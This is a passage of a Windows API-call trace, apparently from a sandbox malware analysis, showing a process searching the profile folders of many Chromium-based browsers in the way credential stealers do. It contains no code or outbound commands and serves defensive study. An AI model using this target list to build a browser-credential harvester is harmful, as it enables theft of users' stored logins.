lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.663] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.663] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Bromium\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\") returned 0x3f [0071.663] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.664] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.664] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.664] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chromium\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\") returned 0x40 [0071.664] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.664] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.664] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.664] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Nichrome\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\") returned 0x40 [0071.664] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.664] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.664] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.664] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\RockMelt\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\") returned 0x40 [0071.664] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.664] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.664] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.664] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned 0x4a [0071.664] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.664] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.664] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.665] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Vivaldi\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\") returned 0x3f [0071.665] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.665] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.665] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.665] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Opera Software\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\") returned 0x3e [0071.665] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.665] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.665] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.665] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Go!\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Go!\\User Data\\") returned 0x3b [0071.665] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Go!\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.665] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.665] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.665] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\") returned 0x47 [0071.665] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.665] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.665] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.665] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Kometa\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\") returned 0x3e [0071.665] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.666] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.666] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.666] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\uCozMedia\\Uran\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned 0x46 [0071.666] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.666] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.666] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.666] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\QIP Surf\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\") returned 0x40 [0071.666] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.666] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.666] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.666] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Epic Privacy Browser\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned 0x4c [0071.666] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.666] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.666] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.666] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\brave\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\") returned 0x35 [0071.666] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.667] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.667] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.667] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CocCoc\\Browser\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned 0x46 [0071.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.667] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.667] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.667] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CentBrowser\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\") returned 0x43 [0071.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.667] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.667] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.667] 